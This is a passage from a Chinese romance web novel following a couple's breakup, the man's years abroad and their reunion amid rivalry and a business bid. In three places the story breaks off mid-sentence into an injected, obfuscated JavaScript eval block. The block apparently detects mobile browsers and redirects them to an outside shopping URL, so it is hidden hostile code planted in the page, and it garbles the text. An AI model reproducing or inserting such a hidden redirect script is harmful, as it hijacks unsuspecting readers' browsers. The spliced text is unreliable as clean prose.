“既然你看到了,”云诗加的眼睛也红起来,但她只是顿了一下,她接着把残忍的话说下去:“对,我不喜欢你了,我要跟向笙和谈恋爱结婚了,他帮了我很多,他……他和我从小一起长大,和我是一个世界的人,他还帮我照顾外婆,不像你这么忙,我们总是异地,我们聚少离多,我们不合适,我们不是最优解,我们不会有好结果的,我们现在分开才是最好的结果。” 她的话太多了,她的嘴唇在他的目光里翕动,但他已经听不清她在说什么了。 “所以,我们,分手吧,舒洛原。”她深深吸了一口气,眼眶红艳艳的,说出来的话是冒着冷气的。 舒洛原第一次体会到脑子麻木的感觉,像有人给他的大脑接了一根电线。 心脏是空的,像有人在用挖掘机把他的心脏挖走。 初夏的风穿堂而过,穿过他空落落的心脏,带走他的初恋。 “好。”他说,“就当我爱错了人,云诗加,你不要后悔。” 云诗加抬起头,精准地捕捉到他目光里的痛,她又何尝不痛呢? 但她还是挺直着背,颤抖抿着唇,把话说完。 她说:“我不会后悔,舒洛原,祝你,前程似锦。” 说完,她转身从屋檐下走了出去,一滴泪从她脸颊划过,混入那年梅雨季最大的一场雨里,下水道井盖来不及排水,树木被雨水打得哗哗响,充沛的雨水足足下了一周,到处都是发霉的味道,像在祭奠他们的爱情。 舒洛原朝雨幕里伸出了无力的手,他看见掌心连接到手臂的那条疤痕,突然觉得犯了疼,原来老人们所说的梅雨天会伤口犯疼是真的,他苦笑了一下。 后来,他坐上了飞往美国的飞机,开启了他的研究生生活,认识了一群新的朋友,学业繁忙,闲暇之余的聚会,新朋友们难免探问他的情感状况。 有一次真心话与大冒险,他抽到了给前任打电话,他喝了酒的脑子木木地想,不如豁出去一次,万一,万一她后悔了呢?如果她愿意回头,他也不是不能原谅她,然后重修于好。 打过去是向笙和接的。 向笙和对着那个没有备注的海外号码“喂喂”了两声,对面没有说话,短暂的沉默后挂断了。 向笙和觉得奇怪,正巧云诗加上厕所回来了,他把手机递还给她,说:“一个国外号码打来的,也不说话就挂断了,可能打错了。” 云诗加当时正和向笙和谈项目,领导随时有可能过来找她,偏偏那日吃坏了肚子,频频跑厕所,她嘱咐向笙和帮她电话应付一下领导。 这出乌龙让舒洛原复燃的死灰又熄了火。 加上云诗加的社交平台更新了某次跟领导调研幼儿园景观项目的照片,有个与她特别投缘的小女孩,她拍了好几张照片。 舒洛原点开照片反复看了又看,那小女孩的杏眼像极了她,他终于彻底死了心。 后来的真心话大冒险游戏,舒洛原只选真心话,然后在众人的起哄中苦笑,他说前女友早就孩子都有了,朋友们惊讶之余难免取笑,他也不说话,只坐在角落闷闷地喝酒。 毕业后他跟着那帮朋友们投简历、面试,找了份薪资很高的工作,踏进了华尔街。 投行工作表面光鲜亮丽,但忙碌程度是外界无法理解的,他的生活依旧自律而充实。 工作很忙,所以用来怀念过去的时间很少。 白人餐健康果腹,但很难吃。 朋友很多,但忙起来也是难以再聚齐。 身边的双双对对,分分合合,他看在眼里,没有什么波澜,也没有什么期待。 他的时区和国内的时区真正变成了两个世界,白天与黑夜,无法再重合。 直到那天,他照常失眠,睁眼到天明,突发奇想打开了某款高中时风靡的FPS游戏,许久不联系的高胜寒也突然上线了,两人技术生疏,组局连输了好几把。 隔着耳麦,高胜寒淡淡与他分享近况,他说相亲遇到了一个熟人。 舒洛原又困又累,脑子里像有一团浆糊,他随口问是谁。 高胜寒说:“涂玉棋,以前咱们班的插班生啊,她比以前长得漂亮多了,我都没敢认。” 舒洛原的手指在换弹的按键上停顿了一下,他状似无意地问起:“哦,那你和她相亲的怎么样?” “我自我感觉挺好的,我们还约了下次再见面,就不知道她怎么想的了。”高胜寒突然想到什么,问道:“欸兄弟,我想起来,你是不是跟云诗加关系还挺好的,我记得你之前好像还想追她来着,你们还有联系吗?你帮我侧面打听问问呢,涂玉棋对我感觉怎么样?” 高胜寒只知道前情,不知道后果。 “云诗加不是结婚了吗?你没去参加她的婚礼?” 高胜寒那边突然传来了键盘噼里啪啦的声音,高昂的嗓音从耳麦那头传来:“喂!兄弟!你怎么不守在这里啊?!你卡机了吗?怎么站着不动啊,正门都进来人了!” 游戏界面又一次出现了“落败”,舒洛原拧着眉关掉了游戏窗口。 “不打了,我要去上班了。” 舒洛原洗了把脸,看着镜子里浮肿的双眼,他难免嘲讽地笑,这么多年过去了,他居然还在心底最深处存着那么一点点的幻想,或许她后悔了,或许已经离开了那个人,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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离开纽约的那天,天空下了场雨,舒洛原站在候机厅,看着外面的天空蔚蓝,大地干净,这么多年,他从未有过如此的畅意。 母亲突然打来越洋电话,语气焦灼,舒洛原拿着登机牌的手突然一抖,登机牌掉落在地毯上。 他还没来得及跟父母说自己的决定,父亲在过年时念叨他离得太远,那时他还没打算回国,但如今要说却已经来不及了。 母亲叶宝珍来机场接的他,外面瓢泼大雨,叶宝珍一身简朴黑衣,戴上了白色的袖花,一向精力像用不完似的母亲不知何时眼角泛起了层层皱纹,脸上尽是疲态。 舒洛原在那一刻后悔自己走得太快了,他自诩聪明勤奋,步履匆匆,比大部分人都要成功。 他曾以为世界是围着他转的,人生得意,云诗加应当会追随他去往任何地方并毫无保留地爱他,父母会在原地等待他功成名就后衣锦还乡。 但他在路上已经丢失了很多人。 朋友一轮一轮地换,旧的被扔在时光里,新的徘徊在点头之交。 二十二岁失去了爱情,二十七岁失去了父亲,他好像一样都没有能力去挽回,最后让生活充满了遗憾和无力。 送父亲下葬的那一天,舒洛原回到了父亲的那片蟹塘,坐在塘边发呆。 他小时候在田埂上跑着玩耍,调皮地捉螃蟹,养蟹人的辛劳他都看在眼里,但他从未觉得与自己有关,只是冷眼旁观。 他想,或许他可以做些什么。 后来,他为蟹塘引进了只能增氧杀藻系统,自动投喂机,水下监控和调温系统。 看着蟹苗逐渐成长,比他在高楼办公室里看着图表数据增长更有成就感,他想他找到了终生想做的事业。 还有云诗加,高胜寒的婚礼将近,他却有些迫不及待,校庆是个更好的契机。 但他没想到,命运自有安排。 雨水连绵,他穿着绿色橡胶裤,狼狈得不能再狼狈时,会与她重逢,她的眼睛熟悉又陌生。 坐在车斗里摇晃时,他回头看她的侧脸,没有一丝对他的情动,她不过是个过路见义勇为的好人,与他毫无关系。 他想他彻底搞砸了。 24. 024 美哉 步行到墓园门口,舒洛原远远看见被伞遮住的视线上缘冒出来一辆车。 云诗加抱怨:“怎么突然把伞压得这么低?看不清路了。” 说完她就看见了向笙和从正面走来,那辆骚包宾利停在了墓园正门口,和她的皮卡并排停着,向笙和的手上提着和她一样的篮子,云诗加想起,这个篮子是从她妈那里随手薅来的。 向笙和没撑伞,穿着冲锋衣戴着帽子,矫健兀自走到他们面前,毫不见外地凑到他们的伞底下,好在舒洛原的伞很大,不然三个人得贴在一起。 “好巧。”向笙和微笑着说,“加加,我来给外婆扫墓。” 云诗加还没来得及说什么,舒洛原眯起眼睛:“加加?外婆?” 向笙和知道他的问题是什么,他坦率地讲:“是啊,我一直这么叫的,有什么问题吗?” 云诗加看着两个男人剑拔弩张,一只脚插进两人的中间,挡住双方的视线,问说:“你怎么来了?” 舒洛原低头看着她头顶的发旋,闻着突然贴近的香气,一时闭了嘴。 向笙和把篮子提到她面前,说:“云阿姨今天起来犯了头疼,可能是感冒发烧了,正好我去看阿姨,她就让我代为扫墓。” 云诗加心里暗暗埋怨了一下她妈,总是没有边界感,把别人的客气当成真心。 她忙说:“不用了,我已经扫过了,墓前供品已经有了,多了也是浪费,外婆吃不了那么多……” 向笙和温柔笑着:“没事,我来都来了,难得的,供品多一点总是没错的。” 云诗加看着上山的路泥泞不堪,反复推却:“真的不用了,雨大了路不好走……” 向笙和一再坚持:“没事的,加加我……” “这样吧,”看着两人推来推去的,舒洛原突然插话,“我父亲的墓前还缺些供品,而且他的墓也没这么高,离门口近一些,供品准备了也不要浪费,我去供给我父亲好了。” 向笙和傻眼,还可以有人这么不要脸的吗?连供品都可以用别人的? 云诗加没有什么异议,耸了耸肩,三人真还步行到了舒洛原父亲的墓前,摆了供品下山,一路和谐。 回到墓园门口,舒洛原一脸无辜:“加加,我手受伤了,没开车,可以坐你的车走吗?” 向笙和在一旁凉凉来了一句:“兄弟,我也开车了,不如坐我的车走。” 舒洛原把头转向云诗加的方向,等她的许可。 云诗加叹了口气,掏出钥匙看,摁开了车辆解锁键:“上车吧。” “谢谢加加。”舒洛原得意笑了一下。 “等等,”向笙和转身从车里拿出了一袋东西,塞进了云诗加没关上的驾驶座里,“我今天去排队买的糕团,想着你好久没吃到了,特地带过来给你。” 云诗加降下车窗,接过袋子,朝他笑了笑,也没跟向笙和客气,“我是好久没吃了,那家突然变成网红店了,谢啦,你快上车吧,雨大了。” 向笙和朝着舒洛原挑了挑眉:“舒总,回头见。” 车辆缓缓起步,舒洛原把中控台上的那盒糕团拿过来放在腿上,打开一看,各式各样的糕团红红绿绿地整齐码成一盒。 “糕团这个东西,我回国这么久都还没再吃过,上一次吃估计得追溯到高中的时候了吧?哎,岁月如梭啊……” 舒洛原幽幽说着。 云诗加受不了他的惺惺作态:“行了,你想吃就吃呗。” “那我可真吃了?”舒洛原用余光觑着她的表情,“这可是他辛辛苦苦排队买的劳动成果,我可以享用吗?” “我一个人也吃不完,你吃呗。” 云诗加完全没在意。 舒洛原当场吃了起来,还不忘拍照发了个朋友圈。 【雨天,糕团,美哉。】 一个小时后,云诗加刚把车停进小区地下室,舒洛原打了个饱嗝,看着只剩一个糕团的盒子,摸了摸饱胀到有点发疼的肚子,掏出手机反复刷新,终于收到了向笙和的点赞。 他满意地笑笑:“好吃,爱吃,下次还吃。” 云诗加熄了火,转头目瞪口呆:“你把这一整盒全吃了?!不会撑死吗?” “我等下排队去给你再买一盒。”舒洛原说。 “不是……”云诗加脑子里嗡嗡的,“倒也不是再买一盒的问题,你真的不需要去医院吗?” “你在关心我吗加加?” 舒洛原撑着车门框下了车,突然觉得走不动路了,云诗加看不过去了,走过来扶他:“要不你吐出来?会好一点嘛?” 舒洛原反手捏住她的手腕,重复了一遍:“你是在关心我吗加加?” 云诗加简直想仰天长叹,她无奈:“你家有健胃消食片吗?” 舒洛原乖巧摇头。 云诗加:“我家有,走吧。” 舒洛原乖巧点头。 坐电梯到了她家,舒洛原倚在门框上,看着云诗加用指纹解开密码锁,然后拎着袋子和篮子进了家门,他乖巧地跟在后面,换了鞋。 门口的岛台上摆着一瓶绚丽的花束, “喏,”云诗加从抽屉里掰出一片健胃消食片扔给他,又给他倒了杯水,“你吃完就回去,我下午还要去工作室。” 云诗加进房间上了个厕所,收拾了一下出来时,看见舒洛原斜靠在沙发上睡着了,眼睛下方一片暗沉,像是许久没睡过一个好觉了。 阳台的侧面砌了玻璃砖墙,雨水噼啪打在上面,像白噪音一样。 舒洛原睡得昏昏沉沉。 在纽约的那几年,他有了失眠的毛病,总是睡不着,需要借助各种药物辅助,好不容易睡着了也是频繁做梦,梦里什么都有,光怪陆离。 睡醒他也总是恍惚,不知道自己身在何处,又是什么日期,总要呆坐在床上片刻,才能恢复对现实的感知。 这一觉竟睡到了傍晚。 舒洛原睁眼,眼前难得的清明,看见茶几上放着一杯柠檬水,杯子下压着一张纸条。 【谢如一约我谈事,醒来要是不舒服可以给我打电话,我送你去医院。】 舒洛原笑了笑,把纸条小心翼翼地对折起,妥帖地收进口袋里。 环视一圈,云诗加的家不算太整洁,乱而有序,沙发上堆满了玩偶,柜子里摆着各种可爱的摆件,一个充满了她的味道的家。 舒洛原记得,她在大学时就喜欢买各种廉价而零散的摆件,搬宿舍的时候总是比别人更吃力些,他那时是个极简主义,不太理解,觉得她是自己给自己添麻烦,如今却希望这样可爱的、充满生活气息的物件更多一些,才让家更像一个家,而不是一个漂泊的暂居地。 谢如一坐在梅中门口的咖啡厅,得益于这地理位置,梅中每年新鲜的生源涌入,生意一直不错,不知不觉竟也经营了十余年。 咖啡馆装修老旧,暗色的护墙板已经显出几分斑驳和老气。 谢如一提前到了,挑了个二楼靠窗的位置,落了座,等了一会儿,他眯起眼睛,窗外阴雨绵绵的,楼下的树冠下刚停下一辆粗犷的皮卡车,车斗里杂物很多,驾驶座钻出一个更加粗犷的女人。 她上身简单套了件白色T恤,下身是一条深灰色的工装裤,没有任何妆点,显然是匆匆而来。 她在门口朝对面梅中张望了一眼,随即用手遮着发顶挡雨,走进了咖啡厅。 谢如一摇了摇头,不知道舒洛原喜欢她哪一点。 要他说,舒洛原就是没见过更出彩的女人,被初恋这个名头束缚住了,千方百计也要重新得到这个女人。 但他收了人的好处,就得替人办他的事。 眼前一晃,云诗加已经无声无息地坐在了他的对面,窗口昏暗的光线把她的侧脸打得骨骼分明,面容姣好。 “云总,好久不见。”谢如一先开了口,他开门见山,“我这里有一桩生意同你谈谈。” 云诗加见他直爽,也直抒胸臆:“好啊,有生意不做是傻子,只是不知道谢先生有什么额外要求?” 谢如一暗自叹了口气,舒洛原竟然对这个女人所说的话都提前预判好了,料定她对送上门的生意会有疑心,所以让他准备好说辞。 因此他从善如流:“当然,是有条件的。” 他呷了一口茶,慢条斯理说:“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377276|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿木集团的新楼盘,谢小姐您也知晓了,小区绿化已经招标过了,但后续还有很多业务,譬如样板房的户外景观庭院,售楼处的入口形象区,还有小区的日常维护业务等等……大有可为。” “云总,您也是明白人,我不妨跟你直说。我刚接触集团业务不久,这是董事会交给我落实的第一个重大项目,我也想做出一点成绩,不想让我爷爷失望,这个楼盘我是打算做一个示范性的美学豪宅,最好能拿去申请一些景观类和建筑类奖项的,也好让我有些功绩。” 云诗加拿起茶壶给谢如一添了一杯茶,她频频点头:“是,我理解,我们工作室今年的目标也是能拿一些奖项,如果能做一些示范性的项目,我们亏本都是愿意做的。” 谢如一笑起来:“那我们的目标是一致的,说起来不怕你笑话,那个王刚平,我早就看不惯了,他们那个设计院吃回扣、水方案,要不是仗着和我们集团某人关系好,我早就不用他了……” 云诗加会意,跟着说:“王刚平啊,是我前领导呢,我跟他啊……有不共戴天之仇,您尽管放心,我不说我的方案有多精妙,但要比过王刚平手下那群废物,还是绰绰有余的。” 两人对视了一下,谢如一哈哈笑了起来。 他说:“那就看你的了,招标公告大概会在下周发布,咱们……招标会见。” 云诗加站起身,与谢如一握手,她扬起眉毛,笑容灿烂:“谢谢您谢总,我们常联系!” 又闲聊了几句,谢如一推脱有事要先走一步,云诗加将谢如一送到楼下的商务车里,朝他招手说:“稍等一下。” 她单手一撑,翻身进了皮卡车的车斗里,取了样东西又跳了下来。 “谢总,一点小意思,希望您喜欢。” 谢如一接过她手里的盆栽,看了一眼,赞叹道:“这是达摩墨兰?” 云诗加站在车门边恭敬地笑着:“还是得送给您啊!我可花了不少钱呢,送人本来还有些肉疼,但您是识货的,肯定不会浪费我的心意!” 台湾原生的矮种墨兰名品,完美中透、大顶冠艺,溢价很高,谢如一摸着叶片,有些爱不释手。 谢如一看着她莹亮的眼睛,突然有些明白了。 她有她独特的人格魅力,聊着聊着,便让人融化进她真诚的笑容里,脸也很是耐看,看久了便让人忘不了了,记下了,也不怪舒洛原对她旧情难忘。 回到家时,云诗加的发丝已经湿漉漉的了,往下滴着水。 她进门就在柜子里随手拿了块毛巾,罩在头上,本就没开灯,下雨的缘故天黑得尤其早,她的眼前陷入黑暗。 忽地她听见有动静,面前脚下出现一道黑影,没来得及细想,她惊叫了一声。 舒洛原及时出声:“是我。” 云诗加拍着胸脯,伸手掀开毛巾:“吓死我了,你怎么还没走?” 舒洛原伸手将她头上的毛巾接住,重新罩在她潮湿的发顶,温柔地揉搓起来。 耳边是细细簌簌的声音,鼻腔钻进舒洛原独有的皂荚香气,云诗加莫名有些腿软。 她想起那些年,她留了很长的头发,每次见面,舒洛原也是这样给她擦头发、吹头发的。 酒店的吹风机有时候不太给力,他也不恼,让她躺在他的腿上,头发倒悬在床尾,耐心又轻柔地给她吹着。 他纤长的手指在她的发间穿梭,痒痒的麻麻的,头皮很舒服,她有时候就直接睡着了。 “好了,可以了。”她伸手按住了他仍在揉搓的手指。 舒洛原沉声说:“不擦干容易感冒。” “我自己来就可以了。”云诗加往后退了一步。 舒洛原往前进了一步。 她又往后退了一步,他继续进一步。 她的脚跟已经抵在了门板上,被迫停止了。 舒洛原的气息扑面而来,他没收住惯性,硬梆梆的胸膛直接撞在了云诗加的额头上,他忙伸手在她脑后垫着,胸脯上的肌肉回弹了一下。 云诗加抬起眉毛,看他,略带挑衅地。 静止的对视中。 她说:“喂,你不会又想亲我吧?” 25. 025 他 舒洛原的心思被看穿,脸上一时窘迫。 云诗加一把推开他,走到了岛台后,跟他隔着两臂的距离,才觉得心跳减速。 她深吸了一口气,抬手示意:“请回吧,不早了。” 舒洛原倚在门边,手臂不小心触到了玄关灯的开关,啪嗒一声,两人之间的方寸之地都亮了起来。 他看见她的脸上泛起淡淡的红晕,弯翘的睫影被顶灯打在红晕上,颤动着她内心的一点点情动。 只需要这么一点点,他就明白,他们不是全无可能。 “好,那你早点休息,新买的糕团在茶几上,你记得吃。” 舒洛原拧开门把手,走了出去。 云诗加把顶在头上的毛巾扔进了洗衣篓,路过茶几时扫了一眼糕团盒子,上面贴着一张便利贴,画着一个笑脸。 回忆又袭上来了。 高三的课桌里,早饭被她吃掉了,他摘给她的那些花朵会枯萎,但便利贴都被她珍藏了起来,攒了满满一大盒。 云诗加想了想,搬家的时候好像把那盒子塞在了哪里。 她在柜子里翻找出了那个饼干盒,拂去灰尘打开,盒子开合处已经生了铁锈,里面的便签纸也都褪了色,只有笑脸的蓝黑色笔迹依旧清晰。 她捧着盒子莫名笑了笑,她从没怨过舒洛原,他永远是她心头的那粒朱砂痣,初恋的美好都是他赋予的,她没有理由怪他。 但他们当年的不合适也是真的,现实横亘在两人面前,不是她的错,也不是他的错。 她把这张崭新的便利贴放进了盒子里,重新盖上。 打开糕团盒,里面整齐码着一色的红豆糕团。 她拿起一个塞进嘴里,咀嚼着,顺势坐在茶几旁的地毯上,她把头埋在膝盖上,听着雨声拍打窗沿,眼泪突然流了下来,顺着唇角流进嘴里,甜甜的红豆糕团突然变咸了。 这么多年,她独来独往。 还债、照顾亲人、努力工作…… 没有人再问她喜欢什么、不喜欢什么。 但是他还记得。 以前他就很细心,记得她所有的小癖好。 苏式面她要吃硬面,糕团她要吃红豆的,西瓜要脆生生的,奶茶她要喝三分糖的…… 他不厌其烦地在下单时打上备注,服务生做错了他也不追究,自己把那份做错的吃掉,再给她重新点一份,提醒他们不要再做错。 在他的故意纵容下,她慢慢变成了一个毫不将就的人。 但他们还是走散了。 那天她推着外婆的轮椅,在医院的后花园散步。 听见绿化带后面的长椅上有人在交谈。 “你儿子有女朋友啦?怎么样?你见过了?” “见过一次,小姑娘漂亮是蛮漂亮的,她家老人就住在我们院区病房呢,我跟住院护士偷摸打听了一下,听说家境不太好,不过小姑娘挺孝顺的,哎儿子喜欢就喜欢吧,我也没什么意见。” 云诗加听出那是舒洛原母亲的声音。 她本想推着外婆走远些,但叶宝珍接着说:“最让我发愁的是啊,我儿子有点鬼迷心窍似的,本来计划得好好的,要出国留学,录取通知都拿到了,他如今为了女朋友在纠结说可能不打算去了,想留在国内陪女朋友,他说她家里不容易,他要是走了估计没人能陪她……” 叶宝珍的同事惊呼:“你这儿子还是个情种啊!哪有不去留学的道理!” 叶宝珍也发愁:“是啊,我也这么说的,他又是熬夜又是努力刷绩点,还额外参与了好多校外项目,都是为了理想的学校嘛,他的辛苦我都看在眼里,我也心疼的呀,怎么能说放弃就放弃呢,我最近也正劝着呢……” “你家也不愁钱,你老公不是挣钱蛮多的嘛,不行你把那小姑娘一起送出国得了,两人还能有个照应。” 叶宝珍说:“我倒是也想,但儿子说了,我和老舒出的钱不行,让人家小姑娘抬不起头来没有尊严,他要用他自己的奖学金来,但你说他才几岁,哪来这么多钱负担,你说说这事儿闹的……” 同事犀利落下一句忠告:“宝珍啊,你别怪我说话难听,门不当户不对的感情啊,走不远!” 叶宝珍没说话了。 外婆昂头拍了拍云诗加的手,见她发着愣,问:“加加,在想什么呢?” “没什么。” 云诗加回过神,推着外婆走到一棵树下躲荫凉,外婆摇着蒲扇,望着远处三三两两的病人和家属们,脸上各有各的愁苦。 “加加啊,我这条老命估计活不久了……”外婆喃喃说。 云诗加嗔骂:“外婆,不许乱讲这种话!我想要你长命百岁!” 外婆笑了笑,拉着云诗加的手,“来,你坐下来,我跟你说说话。” 云诗加坐在了轮椅旁的花台上,接过外婆的蒲扇摇了起来,药物反应让外婆总是出汗发热,身体越来越虚了,只能扇风来让外婆身上舒服些。 “加加,我怕我走得早,看不到你谈恋爱结婚……我跟你说,刚刚那两个人说的还是很有道理的,谈恋爱还是要找门当户对的,不然两个人走不长、走不远,你看我和你爷爷,就是一个例子,你妈妈和你爸爸也是一个例子,你可不许重蹈覆辙……” 外婆说起了她的故事。 外婆小时候家里很富裕,也是读过书的大小姐,后来时代原因落魄了,但家里给她早就定了一门亲,只是她爱上了一无所有的外公,甚至偷拿家里所剩不多的金银细软用来贴补外公,加上外婆怀孕了,家里将她逐出了家门。 “外婆,用现在的话说,你这是恋爱脑。” “可不是嘛,加加,你可不能做恋爱脑。”外婆苦口婆心。 “后来,我和你外公啊,过得并不好,我又和父母断了亲,经济窘迫,几乎连饭都吃不起,有一次机缘巧合,我见到了那个与我定过亲的男人,他说他还在等我……” 说到这里,外婆的眼睛闭了起来,侧歪着身体,脸上露出少女般娇羞的神情。 “啊?然后呢?” 云诗加从未想过,外婆身上藏着这么深远缠绵的一段故事。 “没有然后了,我舍不得抛下你妈妈。” “再后来,你外公走得早,你妈妈结了婚,有了你,我就全心全意照顾你了。” 云诗加低头看着外婆短而白的鬓发,一时无言。 医院的门诊里人声嘈杂、医院外的道路上车流鸣笛起伏,像隔着外太空一样遥远。 云诗加想,她的世界和舒洛原的世界,也像隔着一条银河,他们虽然相爱,但是谁又能跨过这条银河呢? 妈妈的故事也是如此。 云诗加小时候听大人们闲聊过,云画年轻时爱过一个华侨,他让她抛下母亲和国内的一切追随他去,云画退缩了,后来她与陈明华结婚生子,日渐消磨。 云诗加扯着嘴角,笑了笑。 爱过的也好,不爱的也好,门当户对的也好,家世差距的也好,反正最后大家都把日子过成了疮疤可怖的模样。 其实她的身边从来没有爱情的典范模板,每个人都各有苦衷,每个人都过得那么辛苦。 她没有勇气,也没有心力来赌自己会获得理想中的幸福。 没有人告诉她应该怎么办。 她没有时间思考太久,工作合同和家庭欠款都摆在她的面前,如果还要让她背负上舒洛原主动舍弃的大好未来…… 她想,这太沉重了,她尚且负担不起。 那就分开吧。 她下定了决心。 跟舒洛原分手的那一天,云诗加淋了雨,回了宿舍,发了两天烧,把她舍友们吓坏了。 烧刚退,她就接到了妈妈打来的电话,云画抽泣着说:“你外婆走了……” 云诗加手脚疲软,行尸走肉般陪着父母料理外婆的后事,家里的存款早就见了底,父母为此又争吵了几次,陈明华摔门走了,云画坐在客厅里默默流泪。 云诗加问向笙和借了一笔钱,去医院找到了叶宝珍,把舒洛原借她的钱还了。 叶宝珍摘下口罩,很讶异:“小洛借给你钱了?” 云诗加点了点头:“谢谢阿姨,我们已经分手了,我不想欠他的。” 说完她便走出了诊室,叶宝珍看着云诗加挺得直直的后背,追了上去。 “等等,孩子,”叶宝珍拿出一张名片,塞在她手里,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她还没来得及说什么,又梦见了外婆,外婆摇着蒲扇,对她说放心,她在另一个世界过得很好。 梦醒了。 身后汗湿了一片。 云诗加起身,查阅手机消息,处了几条客户沟通信息,还有一条是昨晚向笙和发来的。 他说他找了绿木集团的朋友,答应帮她牵线搭桥,云诗加回复说不用了。 打开床头的灯,天还没完全亮,但困意全无。 起身到书房,云诗加打开书桌的抽屉里,里面放着外婆多年的日记,厚厚一摞,处理外婆后事的时候从外婆的床头柜里翻出来的,她拿回来保存了起来。 说是日记也不尽然。 除了日记,还有外婆随手记下买菜的价格,勾勾画画生活的场景,在乡下种地时的田埂经验,一些菜谱,还有对回忆的描述,零零散散,像一本浓缩的人生草稿。 云诗加慢吞吞地看了很久,也没全部看完,倒是勾起了很多童年的回忆,她是外婆带大的,她妈云画产后身体不好,外婆便把她接到乡下照顾了她一整个童年,带着她在田间做活时,让年幼的她认识了很多植物的名字,也是后来她做这一行的兴趣原点。 她从外婆那里知道了每种植物的叶片和花果都是不一样的,春种秋收,时光会带来什么,大地会告诉你答案。 外婆的日记里最常出现的有两个人,一个是她。 “加加喜欢吃肉丸子,今日做了肉丸子,加加多吃了半碗饭。” “加加不喜欢绿毛虫。” “今天加加第一天上幼儿园,哭了半天,眼睛肿,只能用冰水捂住眼睛。” “加加周末回来看我,说想外婆了。” “……” 日记里还有一个频繁出现的人,是那个为了外婆终生未娶的男人。 外婆称呼他为“他”。 “他寄来一封信,说要南下做生意,问我愿不愿意随他去,我拒绝了。” “他说南方天气热,我一定喜欢。” “他好像生病了……” “他许久没给我寄信,也许是因为我没给他回信,也许是他放下了……” “他寄来一张相片,没怎么变老,真好。” 26. 026 心照不宣 为了谢如一伸来的橄榄枝,云诗加提前做足了准备,熬了几个夜,把此次投标的方案预先敲定了几个风格方向。 招标公告如期放出,云诗加带领设计组的三人团队跟着甲方去调研了现场。 梅雨季悄然结束,天空升起毒辣辣的太阳。 一同调研的还有另外几个竞争团队,在这行混久了,互相之间大多都认识,云诗加正与一位同行寒暄,眼见楼盘大门口涌进来乌泱泱十几个人的团队,领头的正是与她有过节的前领导王刚平。 王刚平年过四十了,稀少的几缕头发颤颤巍巍地扒在油腻臃肿的头颅上,走了没几步,他便呼哧呼哧喘着气,油光闪烁的额头上冒汗。 王刚平享受众星捧月的感觉,实习生和下属们簇拥着他,让他对自己的能力有着不切实际的妄想。 但他确实靠着岳丈的关系与好几个地产商的高层都有联系,即便胸无点墨,也能在这行里混出点地位来。 云诗加不屑与他为伍,撇撇嘴,退到了调研队伍的最后排。 一群人浩浩荡荡调研了一上午,下午是此次招标的说明会,在楼盘附近的一个酒店里召开,中午便由绿木集团招待,在酒店吃自助餐。 一上午晒得脸颊滚烫,云诗加和团队三人一同坐在餐厅里吹空调,望着排起长队的自助餐,云诗加实在没什么胃口,只拿了些水果和酸奶。 “秃头王这次带了好多人啊,咱们就四个人,”金琳喝了口咖啡,撑着头感叹道,“感觉他对这个项目也势在必得的样子。” 云诗加对她嗔骂:“你怎么长他人威风,灭自己志气,我们四个人不比他们那些只会阿谀奉承的废物强?” 金琳长叹一口气:“哎……论专业能力是强,但论其他……” 四人齐齐望向门口,一位绿木集团的领导进来与王刚平握手,谈笑间邀请他进了包厢用餐,关系匪浅的样子。 见下属们都丧气,云诗加自然也心情不佳。 “我去趟卫生间,你们再吃会儿,等会儿到点了会议室集合吧。” 云诗加搁下餐具,起身离开。 躲在卫生间的隔间里放空,听见水池旁有两人在交谈,听声音是刚才领着他们投标团队导览调研的几个接待工作人员之二。 “哎上班真累,外面晒死了。” “是啊,领导还让我下午去布置茶歇呢,真是把我一个人当两个人用了……” “我看啊,都是表面功夫,最后肯定还是王总那个团队拿下项目,其他人都是陪跑。” “我觉得也是,听说那个王总跟我们李总关系好得很,谁能比得过他呀,但我不喜欢那个王总,看人总是色迷迷的……” “哎没办法,我们都是牛马,谁让领导喜欢呢,其他团队也就最多拿个陪跑费,我是不明白,他们何苦呢?” “估计生意不好做,苍蝇也是肉吧。今天大多数团队都是老熟人了,也没提什么多余的问题,挺好应付的。就是有个叫云什么的设计工作室,他们团队拉着我问了好几个问题,感觉很上心的样子,完全不知道项目肯定被内定了,而且我好像之前没见过这个团队啊?他们老板长得真漂亮,像电视剧里那种风风火火的美丽女强人。” “哎呦,你还不知道吧,那个云总是小谢总……” “啊?那不是……” “是啊,感觉小谢总要跟李总开战了,我也是跟秘书处的一个姐姐是老乡,她告诉我的,我们这种小虾米,明哲保身就好了,嘘,你千万别说是我告诉你的!” “我肯定不说,不过那个云总跟咱们小谢总是什么关系啊?” “听说是小谢总之前投资项目的一个供货商介绍过来的。” “哪个供货商啊?” “你上次见过的呀,还借了我们公共部好多人太湖边做接待会务工作的那次,你当时说很帅很帅的那个。” “哦我想起来了!养螃蟹的那个?” “对啊。” “你说长得这么帅的人,我还以为是霸道总裁呢,干嘛去养螃蟹呢,真下头。” “你看小说看多了吧你,养螃蟹很挣钱的好吗?” “蟹老板?咦……好奇怪,怎么想都对不上这么帅的一张脸,我还是不知道为好……” 两位接待小姐对着镜子抹了抹口红,嬉笑着出去了。 云诗加轻轻推开隔间门,静静看着镜子,心里那股隐隐的疑问和怪异感终于找到了答案。 